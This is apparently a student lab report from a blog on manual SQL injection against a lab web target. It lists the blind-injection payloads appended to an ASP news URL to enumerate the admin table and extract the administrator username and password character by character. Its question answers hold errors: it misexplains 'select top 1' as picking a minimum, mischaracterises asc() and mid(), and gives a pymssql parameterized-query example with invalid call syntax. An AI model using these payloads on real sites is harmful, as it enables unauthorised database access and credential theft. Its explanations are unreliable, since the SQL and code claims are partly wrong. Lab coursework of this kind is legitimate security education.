【信息安全概论 实验报告5】SQL注入实验

上一篇:【信息安全概论 实验报告4】CA证书实验

目录

实验目的

二、实验环境

三、实验内容

四、实验步骤

五、问题回答


实验目的

1、理解SQL注入的原理

2、学习手工注入的过程

二、实验环境

目标机:192.168.1.3
工具: C:\实验工具集\01_WEB安全\02_注入技术实验工具

三、实验内容

1、按照实验实施,学习SQL注入的工作原理和过程。

2、通过实验,猜测数据库中是否有password字段,并用手工注入获取该字段的内容。把注入过程记录在下面的实验步骤里。

四、实验步骤

目标站点:【http:// 192.168.1.3:8008】,随便选择一个链接【http://192.168.1.3:8008/onews.asp?id=45】

测试链接,在链接末尾添加【'】。

在链接末尾添加【 and 1=1】

在链接末尾添加【and 1=2】,返回页面显示该网站存在注入漏洞

在链接末尾添加语句【and exists(select * from admin)】,页面正常显示,说明存在表名【admin】

在连接末尾添加语句【and exists(select admin from admin)】,页面显示正常,即在表中存在admin列。

同样的方法,在链接末尾添加【and exists(select password from admin)】,页面显示正常,说明存在列password。

猜测字段的长度,在连接末尾输入语句【and (select top 1 len (admin) from admin)>1】,页面显示正常,数字依次加1,进行测试,如【and (select top 1 len (admin) from admin)>5】,说明字段长度为5。

同样的方法,在链接末尾添加连接【and (select top 1 asc(mid(admin,1,1)) from admin)>97】,可猜解出第一条记录的第一位字符的ASCII码为97,对应a

同样的方法可以得到admin字段内容为【admin】,password字段内容为【bfpms】

五、问题回答

1. SQL注入攻击的原理是什么?

SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

SQL 注入可影响任何使用了 SQL 数据库的网站或应用程序,例如常用的数据库有 MySQLOracleSQL Server 等等。攻击者利用它,便能无需授权地访问你的敏感数据,比如:用户资料、个人数据、商业机密、知识产权等等。SQL 注入是一种最古老、最流行、也最危险的网站漏洞。

  1. 如何确定SQL注入点?
  2. 注释符号测试:尝试输入--/**/,看看是否导致错误或页面改变。
  3. 单引号测试:输入'看是否产生错误或页面改变。
  4. 逻辑运算符测试:尝试使用ANDOR,以及NOT等运算符,看看是否能改变查询结果。
  5. 数据库名称、表名称、列名称检测:使用UNION SELECT来查询数据库名称、表名称、列名称等。
  6. 盲注入测试:通过length()ascii()等函数进行盲注。
  7. 时间延迟注入测试:使用sleep()benchmark()等函数来判断注入点是否存在。

请注意,在实际操作中,可能需要结合其他技术,如SQLmap工具或手动审计代码,来确定和验证SQL注入点。

  1. SQL语句select top 1 asc(mid(admin,1,1)) from admin的含义是什么?

这个SQL语句的含义是查询admin表中的某个字段(可能也是admin字段,但语句没有明确指出),然后对这个字段的每一个记录执行以下操作:

  1. 使用mid(admin, 1, 1)函数获取admin字段的每一个值(字符串)的第一个字符。
  2. 使用asc()函数将这个字符转换为其ASCII值。
  3. 使用select top 1选择转换后的ASCII值中的最小的一个。

不过,这里有几点需要注意:

  1. asc()函数不是标准的SQL函数。可能是某些数据库特有的函数,或者可能是一个笔误。在标准的SQL中,你可以使用CAST(char_expression AS INTEGER)ASCII(char_expression)(在某些数据库中)来获取字符的ASCII值。
  2. mid()函数也是某些数据库特有的,例如在SQL Server中,这个函数被称为SUBSTRING()
  3. select top 1SQL Server的语法,用于选择查询结果的前一行。在其他数据库中,可能需要使用LIMIT 1(例如在MySQL中)或FETCH FIRST 1 ROWS ONLY(在某些支持ANSI SQL的数据库中)。

所以,如果你正在使用SQL Server,并且admin字段是一个字符串字段,这个查询可能返回admin字段的第一个字符的ASCII值中的最小值。如果admin字段包含不同的字符开头,这将帮助你找到字典顺序上最早的字符的ASCII值。

但是,如果你正在使用其他数据库,你需要调整这个查询以使用相应的函数和语法。

4. 如何防范SQL注入攻击?

防止SQL注入攻击的最有效方法是使用参数化查询或预编译语句。这些方法要求数据库接受参数的值,而不是将它们视为SQL代码的一部分。这样可以确保即使输入的数据包含SQL指令,也不会被数据库执行。 

   import pymssql



# 连接到数据库

conn = pymssql.connect(server='hostname', user='username', password='password', database='dbname')

cursor = conn.cursor()



# 用户输入

user_input = "user' OR '1'='1"



# 参数化查询

cursor.execute("SELECT * FROM users WHERE username = @username", username=user_input)



# 获取结果

results = cursor.fetchall()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

551只玄猫

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值